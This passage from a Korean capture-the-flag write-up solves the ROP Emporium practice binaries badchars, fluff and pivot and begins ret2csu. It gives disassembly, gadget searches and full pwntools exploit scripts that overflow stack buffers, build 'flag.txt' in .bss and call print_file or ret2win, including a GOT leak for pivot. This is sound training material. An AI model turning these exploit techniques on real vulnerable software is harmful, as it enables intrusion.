   0x00007ffff7c009d5 <+219>:	mov    rax,QWORD PTR [rbp-0x30]
   0x00007ffff7c009d9 <+223>:	cmp    rax,0x3
   0x00007ffff7c009dd <+227>:	jbe    0x7ffff7c009a4 <pwnme+170>
   0x00007ffff7c009df <+229>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c009e3 <+233>:	add    rax,0x1
   0x00007ffff7c009e7 <+237>:	mov    QWORD PTR [rbp-0x38],rax
   0x00007ffff7c009eb <+241>:	mov    rdx,QWORD PTR [rbp-0x38]
   0x00007ffff7c009ef <+245>:	mov    rax,QWORD PTR [rbp-0x40]
   0x00007ffff7c009f3 <+249>:	cmp    rdx,rax
   0x00007ffff7c009f6 <+252>:	jb     0x7ffff7c0099a <pwnme+160>
   0x00007ffff7c009f8 <+254>:	lea    rdi,[rip+0xed]        # 0x7ffff7c00aec
   0x00007ffff7c009ff <+261>:	call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c00a04 <+266>:	nop
   0x00007ffff7c00a05 <+267>:	leave
   0x00007ffff7c00a06 <+268>:	ret
End of assembler dump.

 

이번 pwnme 함수의 read 함수에서 버퍼는 0x20인데 0x200만큼 입력할 수 있어 bof가 발생할 수 있습니다.

 

 

추가로 pwnme 함수에서 badchars를 검사하며 입력값에 badchars가 존재하면 0xeb로 덮어씁니다.

 

Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:	push   rbp
   0x0000000000400618 <+1>:	mov    rbp,rsp
   0x000000000040061b <+4>:	mov    edi,0x4006c4
   0x0000000000400620 <+9>:	call   0x400510 <print_file@plt>
   0x0000000000400625 <+14>:	nop
   0x0000000000400626 <+15>:	pop    rbp
   0x0000000000400627 <+16>:	ret
End of assembler dump.

Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:	xor    BYTE PTR [r15],r14b
   0x000000000040062b <+3>:	ret
   0x000000000040062c <+4>:	add    BYTE PTR [r15],r14b
   0x000000000040062f <+7>:	ret
   0x0000000000400630 <+8>:	sub    BYTE PTR [r15],r14b
   0x0000000000400633 <+11>:	ret
   0x0000000000400634 <+12>:	mov    QWORD PTR [r13+0x0],r12
   0x0000000000400638 <+16>:	ret
   0x0000000000400639 <+17>:	nop    DWORD PTR [rax+0x0]
End of assembler dump.

 

usefulFunction 함수는 이전 문제와 동일하며 usefulGadgets은 xor, add, sub 가젯으로 구성되어 있습니다.

x, g, a, . 문자를 필터링하기에 xor, add, sub 가젯을 사용하여 우회하여 flag.txt를 입력하면 될 것입니다.

r15, r14를 사용해야 하기 때문에 가젯을 찾아줍니다.

 

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ ROPgadget --binary ./badchars  | grep 'pop r14'
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ ROPgadget --binary ./badchars  | grep 'pop rdi'
0x00000000004006a3 : pop rdi ; ret

 

ROPgadget을 사용하여 pop rdi 가젯과 pop r14; pop r15 가젯을 구해주었습니다.

 

from pwn import *

p = process('./badchars')

pop_r14_r15 = 0x4006a0
xor = 0x400628
add = 0x40062c
sub = 0x400630
use_func = 0x400617
pop_rdi = 0x4006a3
print_file = 0x400516
ret = 0x4004ee
bss = 0x601200
pop_r15 = 0x4006a2
# 66 6c 61 67 2e 74 78 74 = flag.txt
flag = [0x66, 0x6c, 0x60, 0x66, 0x2d, 0x74, 0x77, 0x74]
idx = [2, 3, 4, 6]

payload = b'C' * (0x20 + 8)
cnt = 0
for i in flag:
    payload += p64(pop_r14_r15)
    payload += p64(i)
    payload += p64(bss + cnt)
    payload += p64(add)
    cnt += 1

for i in idx:
    payload += p64(pop_r14_r15)
    payload += p64(0x1)
    payload += p64(bss + i)
    payload += p64(add)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)

p.send(payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다. 너무 노가다가 반복문으로 작성했습니다.

익스를 보면 직접 넣을 수 없는 문자가 "x", "g", "a", "."이니 해당 값만 1을 빼서 넣어 전부 bss에 써두고 그 다음 반복문에서 해당 부분만 1을 더해주었습니다. 그 뒤, flag.txt가 완성되었으니 pop rdi 가젯으로 입력한 주소를 전달하여 print_file 함수를 호출합니다.

 


6. fluff

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/fluff]
└─$ file fluff    
fluff: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2b14d9e5fb7a6bcac48b5304b5153fc679c3651c, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/fluff]
└─$ checksec fluff   
[*] '/home/kali/Desktop/pwn/ROP/fluff/fluff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

 

fluff 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

이번에도 print_file 함수와 usefulFunction 함수가 존재하며, questionableGadgets 함수가 생겼습니다.

 

pwndbg> disas pwnme
Dump of assembler code for function pwnme:
   0x00007ffff7c008aa <+0>:	push   rbp
   0x00007ffff7c008ab <+1>:	mov    rbp,rsp
   0x00007ffff7c008ae <+4>:	sub    rsp,0x20
   0x00007ffff7c008b2 <+8>:	mov    rax,QWORD PTR [rip+0x200727]        # 0x7ffff7e00fe0
   0x00007ffff7c008b9 <+15>:	mov    rax,QWORD PTR [rax]
   0x00007ffff7c008bc <+18>:	mov    ecx,0x0
   0x00007ffff7c008c1 <+23>:	mov    edx,0x2
   0x00007ffff7c008c6 <+28>:	mov    esi,0x0
   0x00007ffff7c008cb <+33>:	mov    rdi,rax
   0x00007ffff7c008ce <+36>:	call   0x7ffff7c00790 <setvbuf@plt>
   0x00007ffff7c008d3 <+41>:	lea    rdi,[rip+0x106]        # 0x7ffff7c009e0
   0x00007ffff7c008da <+48>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c008df <+53>:	lea    rdi,[rip+0x110]        # 0x7ffff7c009f6
   0x00007ffff7c008e6 <+60>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c008eb <+65>:	lea    rax,[rbp-0x20]
   0x00007ffff7c008ef <+69>:	mov    edx,0x20
   0x00007ffff7c008f4 <+74>:	mov    esi,0x0
   0x00007ffff7c008f9 <+79>:	mov    rdi,rax
   0x00007ffff7c008fc <+82>:	call   0x7ffff7c00760 <memset@plt>
   0x00007ffff7c00901 <+87>:	lea    rdi,[rip+0xf8]        # 0x7ffff7c00a00
   0x00007ffff7c00908 <+94>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c0090d <+99>:	lea    rdi,[rip+0x134]        # 0x7ffff7c00a48
   0x00007ffff7c00914 <+106>:	mov    eax,0x0
   0x00007ffff7c00919 <+111>:	call   0x7ffff7c00750 <printf@plt>
   0x00007ffff7c0091e <+116>:	lea    rax,[rbp-0x20]
   0x00007ffff7c00922 <+120>:	mov    edx,0x200
   0x00007ffff7c00927 <+125>:	mov    rsi,rax
   0x00007ffff7c0092a <+128>:	mov    edi,0x0
   0x00007ffff7c0092f <+133>:	call   0x7ffff7c00770 <read@plt>
   0x00007ffff7c00934 <+138>:	lea    rdi,[rip+0x110]        # 0x7ffff7c00a4b
   0x00007ffff7c0093b <+145>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c00940 <+150>:	nop
   0x00007ffff7c00941 <+151>:	leave
   0x00007ffff7c00942 <+152>:	ret
End of assembler dump.

 

pwnme 함수에서는 read 함수로 값을 입력 받으며 버퍼는 0x20 바이트이지만 0x200만큼 입력할 수 있어 bof가 발생할 수 있습니다.

 

pwndbg> disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:	push   rbp
   0x0000000000400618 <+1>:	mov    rbp,rsp
   0x000000000040061b <+4>:	mov    edi,0x4006c4
   0x0000000000400620 <+9>:	call   0x400510 <print_file@plt>
   0x0000000000400625 <+14>:	nop
   0x0000000000400626 <+15>:	pop    rbp
   0x0000000000400627 <+16>:	ret
End of assembler dump.

Dump of assembler code for function questionableGadgets:
   0x0000000000400628 <+0>:	xlat   BYTE PTR [rbx]
   0x0000000000400629 <+1>:	ret
   0x000000000040062a <+2>:	pop    rdx
   0x000000000040062b <+3>:	pop    rcx
   0x000000000040062c <+4>:	add    rcx,0x3ef2
   0x0000000000400633 <+11>:	bextr  rbx,rcx,rdx
   0x0000000000400638 <+16>:	ret
   0x0000000000400639 <+17>:	stos   BYTE PTR [rdi],al
   0x000000000040063a <+18>:	ret
   0x000000000040063b <+19>:	nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

 

usefulFunction 함수는 이전과 동일하며 questionableGadgets 함수가 특이합니다.

xlat 명령어는 al = [rbx + al] 연산을 합니다.

 

bextr 명령어는 rcx 값의 일부 비트를 추출하여 rbx에 저장하는데 저장할 범위, 시작점을 rdx로 결정합니다.

예를 들어 rcx가 0x12345678 이고 rdx가 0x4000이면 하위 1바이트인 00부터 시작(처음부터)하고 0x40 / 8만큼 저장합니다.

0x40 / 8는 8이므로 총 8바이트를 rbx에 저장함을 의미합니다.

즉, bextr 명령어를 통해 rbx에 원하는 값을 넣을 수 있습니다.

 

stos 명령어는 [rdi]에 al을 하위 1바이트만 저장합니다.

 

그렇다면 bextr로 rbx를 지정해 [rbx + al] 값을 정할 수 있고 이를 통해 [rdi]에 원하는 값을 쓸 수 있게 됩니다.

 

이번에는 필터링이 없으니 이걸 통해서 bss에 flag.txt를 저장하고 가져올 생각을 했지만,, 쓸만한 가젯이 없어 .data, .rdata 영역을 각 문자가 담긴 주소를 찾아 사용하였습니다.

 

 

이런 식으로 f, l, a, g, ., t, x를 구해주었습니다..

 

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/fluff]
└─$ ROPgadget --binary ./fluff  | grep 'pop rdi'
0x00000000004006a3 : pop rdi ; ret

 

print_file 함수에 인자를 전달하기 위해 pop rdi 가젯도 구해주었습니다.

 

from pwn import *

p = process('./fluff')

bextr = 0x40062a
xlat = 0x400628
stos = 0x400639
pop_rdi = 0x4006a3
print_file = 0x400510
rdx = 0x4000
bss = 0x601200

# 66 6c 61 67 2e 74 78 74
f = 0x6003c4 - 0x3ef2 - 0xb # al = 0xb
l = 0x600242 - 0x3ef2 - 0x66 # al = 0x66 = f
a = 0x600411 - 0x3ef2 - 0x6c # al = 0x6c = l
g = 0x6007a0 - 0x3ef2 - 0x61 # al = 0x61 = a
dot = 0x600251 - 0x3ef2 - 0x67 # al = 0x67 = g
t = 0x6003d8 - 0x3ef2 - 0x2e # al = 0x2e = .
x = 0x600778 - 0x3ef2 - 0x74 # al = 0x74 = t
t2 = 0x6003d8 - 0x3ef2 - 0x78 # al = 0x78 = x

flag = [f, l, a, g, dot, t, x, t2]
cnt = 0

payload = b'A' * (0x20 + 8)

# rcx = rcx + 0x3ef2
for i in flag:
    payload += p64(bextr)
    payload += p64(rdx)
    payload += p64(i)
    payload += p64(xlat)
    payload += p64(pop_rdi)
    payload += p64(bss + cnt)
    payload += p64(stos)
    cnt += 1

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)

p.send(payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다.

이번에도 반복문으로 작성하였으며 반복문에서는 bextr 가젯을 불러 rdx로 0x4000을 전달해 rcx 값을 rbx에 저장합니다.

이후 xlat 가젯을 호출하여 [rbx+al]을 통해 원하는 글자를 al에 저장합니다.

마지막으로 pop rdi 가젯을 통해 rdi에 bss 영역을 주고 stos 가젯을 호출하여 [rdi]에 아까 저장한 al 값을 저장합니다.

이를 반복하여 bss 영역에 flag.txt를 저장한 뒤, print_file을 호출합니다.

 

가장 중요한 부분은 al 값을 매 실행마다 맞춰주는 것입니다. 

처음에는 모르는 값이 있기에 디버깅을 통해 구해주었고 이후에는 이전에 입력한 글자가 al에 들어있기 때문에 al 값을 고려해서 offset을 맞춰주었습니다.

 


7. pivot

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ file pivot 
pivot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0e9fb878206e1858b042597fd36c51aa07497121, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ checksec pivot 
[*] '/home/kali/Desktop/pwn/ROP/pivot/pivot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

 

pivot 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

이번에는 uselessFunction과 usefulGadgets, foothold_function 함수가 존재합니다.

 

 

이번 문제는 2번의 입력 기회를 주며 pivot 하라고 writable 영역 주소를 제공합니다.

 

Dump of assembler code for function pwnme:
   0x00000000004008f1 <+0>:	push   rbp
   0x00000000004008f2 <+1>:	mov    rbp,rsp
   0x00000000004008f5 <+4>:	sub    rsp,0x30
   0x00000000004008f9 <+8>:	mov    QWORD PTR [rbp-0x28],rdi
   0x00000000004008fd <+12>:	lea    rax,[rbp-0x20]
   0x0000000000400901 <+16>:	mov    edx,0x20
   0x0000000000400906 <+21>:	mov    esi,0x0
   0x000000000040090b <+26>:	mov    rdi,rax
   0x000000000040090e <+29>:	call   0x400700 <memset@plt>
   0x0000000000400913 <+34>:	mov    edi,0x400aa9
   0x0000000000400918 <+39>:	call   0x4006e0 <puts@plt>
   0x000000000040091d <+44>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400921 <+48>:	mov    rsi,rax
   0x0000000000400924 <+51>:	mov    edi,0x400ac8
   0x0000000000400929 <+56>:	mov    eax,0x0
   0x000000000040092e <+61>:	call   0x4006f0 <printf@plt>
   0x0000000000400933 <+66>:	mov    edi,0x400b08
   0x0000000000400938 <+71>:	call   0x4006e0 <puts@plt>
   0x000000000040093d <+76>:	mov    edi,0x400b34
   0x0000000000400942 <+81>:	mov    eax,0x0
   0x0000000000400947 <+86>:	call   0x4006f0 <printf@plt>
   0x000000000040094c <+91>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400950 <+95>:	mov    edx,0x100
   0x0000000000400955 <+100>:	mov    rsi,rax
   0x0000000000400958 <+103>:	mov    edi,0x0
   0x000000000040095d <+108>:	call   0x400710 <read@plt>
   0x0000000000400962 <+113>:	mov    edi,0x400b37
   0x0000000000400967 <+118>:	call   0x4006e0 <puts@plt>
   0x000000000040096c <+123>:	mov    edi,0x400b48
   0x0000000000400971 <+128>:	call   0x4006e0 <puts@plt>
   0x0000000000400976 <+133>:	mov    edi,0x400b34
   0x000000000040097b <+138>:	mov    eax,0x0
   0x0000000000400980 <+143>:	call   0x4006f0 <printf@plt>
   0x0000000000400985 <+148>:	lea    rax,[rbp-0x20]
   0x0000000000400989 <+152>:	mov    edx,0x40
   0x000000000040098e <+157>:	mov    rsi,rax
   0x0000000000400991 <+160>:	mov    edi,0x0
   0x0000000000400996 <+165>:	call   0x400710 <read@plt>
   0x000000000040099b <+170>:	mov    edi,0x400b69
   0x00000000004009a0 <+175>:	call   0x4006e0 <puts@plt>
   0x00000000004009a5 <+180>:	nop
   0x00000000004009a6 <+181>:	leave
   0x00000000004009a7 <+182>:	ret
End of assembler dump.

 

첫 번째 read 함수에서는 0x100만큼 입력할 수 있으며 처음에 제공한 pivot 주소에 값을 쓰게 됩니다.

두 번째 read 함수에서는 0x40만큼 입력할 수 있으며 버퍼가 0x20 크기이기에 bof가 발생할 수 있습니다.

 

Dump of assembler code for function uselessFunction:
   0x00000000004009a8 <+0>:	push   rbp
   0x00000000004009a9 <+1>:	mov    rbp,rsp
   0x00000000004009ac <+4>:	call   0x400720 <foothold_function@plt>
   0x00000000004009b1 <+9>:	mov    edi,0x1
   0x00000000004009b6 <+14>:	call   0x400750 <exit@plt>
End of assembler dump.

Dump of assembler code for function usefulGadgets:
   0x00000000004009bb <+0>:	pop    rax
   0x00000000004009bc <+1>:	ret
   0x00000000004009bd <+2>:	xchg   rsp,rax
   0x00000000004009bf <+4>:	ret
   0x00000000004009c0 <+5>:	mov    rax,QWORD PTR [rax]
   0x00000000004009c3 <+8>:	ret
   0x00000000004009c4 <+9>:	add    rax,rbp
   0x00000000004009c7 <+12>:	ret
   0x00000000004009c8 <+13>:	nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

 

uselessFunction 함수에서는 foothold_function@plt 함수를 호출하고 usefulGadgets 함수는 pop rax, xchg, mov, add 가젯을 제공합니다.

 

xchg 가젯은 exchange로 rsp와 rax 값을 교환합니다.

 

pwndbg> disas foothold_function
Dump of assembler code for function foothold_function:
   0x00007ffff7c0096a <+0>:	push   rbp
   0x00007ffff7c0096b <+1>:	mov    rbp,rsp
   0x00007ffff7c0096e <+4>:	lea    rdi,[rip+0x1ab]        # 0x7ffff7c00b20
   0x00007ffff7c00975 <+11>:	call   0x7ffff7c00830 <puts@plt>
   0x00007ffff7c0097a <+16>:	nop
   0x00007ffff7c0097b <+17>:	pop    rbp
   0x00007ffff7c0097c <+18>:	ret
End of assembler dump.

pwndbg> x/s 0x7ffff7c00b20
0x7ffff7c00b20:	"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot"

pwndbg> got foothold_function
Filtering by symbol name: foothold_function
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/kali/Desktop/pwn/ROP/pivot/pivot:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x601040] foothold_function -> 0x400726 (foothold_function@plt+6) ◂— push 5

 

foothold_function 함수는 puts 함수로 문자열을 출력하는데 .got.plt를 통해 뭔가를 얻으라는 것 같습니다.

 

 

디버깅을 돌리고 info func을 확인해보니 못봤던 ret2win 함수가 출력되었습니다.

 

Dump of assembler code for function ret2win:
   0x00007ffff7c00a81 <+0>:	push   rbp
   0x00007ffff7c00a82 <+1>:	mov    rbp,rsp
   0x00007ffff7c00a85 <+4>:	sub    rsp,0x40
   0x00007ffff7c00a89 <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00007ffff7c00a92 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00007ffff7c00a96 <+21>:	xor    eax,eax
   0x00007ffff7c00a98 <+23>:	mov    QWORD PTR [rbp-0x38],0x0
   0x00007ffff7c00aa0 <+31>:	lea    rsi,[rip+0xdf]        # 0x7ffff7c00b86
   0x00007ffff7c00aa7 <+38>:	lea    rdi,[rip+0xda]        # 0x7ffff7c00b88
   0x00007ffff7c00aae <+45>:	call   0x7ffff7c00860 <fopen@plt>
   0x00007ffff7c00ab3 <+50>:	mov    QWORD PTR [rbp-0x38],rax
   0x00007ffff7c00ab7 <+54>:	cmp    QWORD PTR [rbp-0x38],0x0
   0x00007ffff7c00abc <+59>:	jne    0x7ffff7c00ad4 <ret2win+83>
   0x00007ffff7c00abe <+61>:	lea    rdi,[rip+0xcc]        # 0x7ffff7c00b91
   0x00007ffff7c00ac5 <+68>:	call   0x7ffff7c00830 <puts@plt>
   0x00007ffff7c00aca <+73>:	mov    edi,0x1
   0x00007ffff7c00acf <+78>:	call   0x7ffff7c00870 <exit@plt>
   0x00007ffff7c00ad4 <+83>:	mov    rdx,QWORD PTR [rbp-0x38]
   0x00007ffff7c00ad8 <+87>:	lea    rax,[rbp-0x30]
   0x00007ffff7c00adc <+91>:	mov    esi,0x21
   0x00007ffff7c00ae1 <+96>:	mov    rdi,rax
   0x00007ffff7c00ae4 <+99>:	call   0x7ffff7c00850 <fgets@plt>
   0x00007ffff7c00ae9 <+104>:	lea    rax,[rbp-0x30]
   0x00007ffff7c00aed <+108>:	mov    rdi,rax
   0x00007ffff7c00af0 <+111>:	call   0x7ffff7c00830 <puts@plt>
   0x00007ffff7c00af5 <+116>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c00af9 <+120>:	mov    rdi,rax
   0x00007ffff7c00afc <+123>:	call   0x7ffff7c00840 <fclose@plt>
   0x00007ffff7c00b01 <+128>:	mov    QWORD PTR [rbp-0x38],0x0
   0x00007ffff7c00b09 <+136>:	mov    edi,0x0
   0x00007ffff7c00b0e <+141>:	call   0x7ffff7c00870 <exit@plt>
End of assembler dump.

pwndbg> got ret2win
Filtering by symbol name: ret2win
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/kali/Desktop/pwn/ROP/pivot/pivot:
GOT protection: Partial RELRO | Found 0 GOT entries passing the filter

 

ret2win의 주소를 알 수 없지만 foothold_function 함수의 .got.plt 주소를 얻고 foothold_function 함수의 offset과 ret2win 함수의 offset을 통해 ret2win 함수의 주소를 얻을 수 있습니다.

 

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ readelf -s ./libpivot.so | grep 'ret2win'
    18: 0000000000000a81   146 FUNC    GLOBAL DEFAULT   12 ret2win
    48: 0000000000000a81   146 FUNC    GLOBAL DEFAULT   12 ret2win
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ readelf -s ./libpivot.so | grep 'foothold_function'
    10: 000000000000096a    19 FUNC    GLOBAL DEFAULT   12 foothold_function
    55: 000000000000096a    19 FUNC    GLOBAL DEFAULT   12 foothold_function

 

offset 차이는 위와 같습니다.

 

from pwn import *

p = process('./pivot')

pop_rax = 0x4009bb
xchg_rsp_rax = 0x4009bd # exchange rsp and rax
mov_rax_value = 0x4009c0
add_rax_rbp = 0x4009c4
foot_got = 0x601040
main = 0x4008f1
puts_plt = 0x4006e0
ret = 0x4006b6
pop_rdi = 0x400a33

p.recvuntil(b'pivot: ')
write = p.recvline() 
write = int(write[:len(write)-1], 16) 
print(hex(write))

payload = p64(0x400720) # foot_plt (아직 resolve 상태라서 실행해주어야 함)
payload += p64(pop_rdi)
payload += p64(foot_got)
payload += p64(puts_plt)
payload += p64(main)

p.send(payload)

payload = b'A' * 0x20
payload += p64(write-0x8)

p.send(payload)

p.recvuntil(b'libpivot\n')
leak = int.from_bytes(p.recv(6), 'little')
print(hex(leak))
ret2win = leak + 0x117

payload = p64(ret2win)

p.send(payload)

payload = b'A' * 0x20
payload += p64(ret2win)

p.send(payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다.

제공된 가젯을 어떻게 써야될지 모르겠어서 사용하진 않았지만,, 익스는 성공했습니다.

먼저 처음 read에서 제공받은 writable 영역에 foothold_function 함수의 got 주소를 leak하고 main으로 돌아오는 ROP chain을 입력했습니다. 그 다음 2번째 read에서 rbp를 write-0x8로 바꿔 rsp를 write 주소 쪽으로 옮겨 입력해둔 ROP chain이 실행되도록 하였습니다.

2번째 main에서는 leak한 foothold_function 함수의 got 주소를 통해 ret2win의 주소를 구하고 두 번의 입력 모두 ret2win으로 넣어주었습니다. 왜인지 모르겠지만 ret2win을 return address가 아닌 rbp 자리에 덮어써야 진행되었습니다.

 

 

왜인지 모르겠지만 익스가 될 때도 있고 안될 때도 있는,, 도박 익스를 만들었습니다.


8. ret2csu

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/ret2csu]
└─$ file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/ret2csu]
└─$ checksec ret2csu
[*] '/home/kali/Desktop/pwn/ROP/ret2csu/ret2csu'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

 

ret2csu 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

usefulFunction 함수와 ret2win 함수가 존재하며 usefulGadgets 함수가 사라졌습니다.

 

Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:	push   rbp
   0x0000000000400618 <+1>:	mov    rbp,rsp
   0x000000000040061b <+4>:	mov    edx,0x3
   0x0000000000400620 <+9>:	mov    esi,0x2
   0x0000000000400625 <+14>:	mov    edi,0x1
   0x000000000040062a <+19>:	call   0x400510 <ret2win@plt>
   0x000000000040062f <+24>:	nop
   0x0000000000400630 <+25>:	pop    rbp
   0x0000000000400631 <+26>:	ret
End of assembler dump.

Dump of assembler code for function ret2win:
   0x00007ffff7c009d3 <+0>:	push   rbp
   0x00007ffff7c009d4 <+1>:	mov    rbp,rsp
   0x00007ffff7c009d7 <+4>:	sub    rsp,0x30
   0x00007ffff7c009db <+8>:	mov    QWORD PTR [rbp-0x18],rdi
   0x00007ffff7c009df <+12>:	mov    QWORD PTR [rbp-0x20],rsi
   0x00007ffff7c009e3 <+16>:	mov    QWORD PTR [rbp-0x28],rdx
   0x00007ffff7c009e7 <+20>:	mov    QWORD PTR [rbp-0x10],0x0
   0x00007ffff7c009ef <+28>:	movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c009f9 <+38>:	cmp    QWORD PTR [rbp-0x18],rax
   0x00007ffff7c009fd <+42>:	jne    0x7ffff7c00ada <ret2win+263>
   0x00007ffff7c00a03 <+48>:	movabs rax,0xcafebabecafebabe
   0x00007ffff7c00a0d <+58>:	cmp    QWORD PTR [rbp-0x20],rax
   0x00007ffff7c00a11 <+62>:	jne    0x7ffff7c00ada <ret2win+263>
   0x00007ffff7c00a17 <+68>:	movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00a21 <+78>:	cmp    QWORD PTR [rbp-0x28],rax
   0x00007ffff7c00a25 <+82>:	jne    0x7ffff7c00ada <ret2win+263>
   0x00007ffff7c00a2b <+88>:	lea    rsi,[rip+0x2ee]        # 0x7ffff7c00d20
   0x00007ffff7c00a32 <+95>:	lea    rdi,[rip+0x2e9]        # 0x7ffff7c00d22
   0x00007ffff7c00a39 <+102>:	call   0x7ffff7c00830 <fopen@plt>
   0x00007ffff7c00a3e <+107>:	mov    QWORD PTR [rbp-0x10],rax
   0x00007ffff7c00a42 <+111>:	cmp    QWORD PTR [rbp-0x10],0x0
   0x00007ffff7c00a47 <+116>:	jne    0x7ffff7c00a5f <ret2win+140>
   0x00007ffff7c00a49 <+118>:	lea    rdi,[rip+0x2e8]        # 0x7ffff7c00d38
   0x00007ffff7c00a50 <+125>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00a55 <+130>:	mov    edi,0x1
   0x00007ffff7c00a5a <+135>:	call   0x7ffff7c00840 <exit@plt>
   0x00007ffff7c00a5f <+140>:	mov    edi,0x21
   0x00007ffff7c00a64 <+145>:	call   0x7ffff7c00810 <malloc@plt>
   0x00007ffff7c00a69 <+150>:	mov    QWORD PTR [rip+0x201610],rax        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00a70 <+157>:	mov    rax,QWORD PTR [rip+0x201609]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00a77 <+164>:	test   rax,rax
   0x00007ffff7c00a7a <+167>:	jne    0x7ffff7c00a92 <ret2win+191>
   0x00007ffff7c00a7c <+169>:	lea    rdi,[rip+0x2d7]        # 0x7ffff7c00d5a
   0x00007ffff7c00a83 <+176>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00a88 <+181>:	mov    edi,0x1
   0x00007ffff7c00a8d <+186>:	call   0x7ffff7c00840 <exit@plt>
   0x00007ffff7c00a92 <+191>:	mov    rax,QWORD PTR [rip+0x2015e7]        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00a99 <+198>:	mov    rdx,QWORD PTR [rbp-0x10]
   0x00007ffff7c00a9d <+202>:	mov    esi,0x21
   0x00007ffff7c00aa2 <+207>:	mov    rdi,rax
   0x00007ffff7c00aa5 <+210>:	call   0x7ffff7c00800 <fgets@plt>
   0x00007ffff7c00aaa <+215>:	mov    QWORD PTR [rip+0x2015cf],rax        # 0x7ffff7e02080 <g_buf>
   0x00007ffff7c00ab1 <+222>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00007ffff7c00ab5 <+226>:	mov    rdi,rax
   0x00007ffff7c00ab8 <+229>:	call   0x7ffff7c007b0 <fclose@plt>
   0x00007ffff7c00abd <+234>:	mov    QWORD PTR [rbp-0x10],0x0
   0x00007ffff7c00ac5 <+242>:	movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c00acf <+252>:	cmp    QWORD PTR [rbp-0x18],rax
   0x00007ffff7c00ad3 <+256>:	je     0x7ffff7c00af0 <ret2win+285>
   0x00007ffff7c00ad5 <+258>:	jmp    0x7ffff7c00b9d <ret2win+458>
   0x00007ffff7c00ada <+263>:	lea    rdi,[rip+0x293]        # 0x7ffff7c00d74
   0x00007ffff7c00ae1 <+270>:	call   0x7ffff7c007a0 <puts@plt>
   0x00007ffff7c00ae6 <+275>:	mov    edi,0x1
   0x00007ffff7c00aeb <+280>:	call   0x7ffff7c00840 <exit@plt>
   0x00007ffff7c00af0 <+285>:	movabs rax,0xcafebabecafebabe
   0x00007ffff7c00afa <+295>:	cmp    QWORD PTR [rbp-0x20],rax
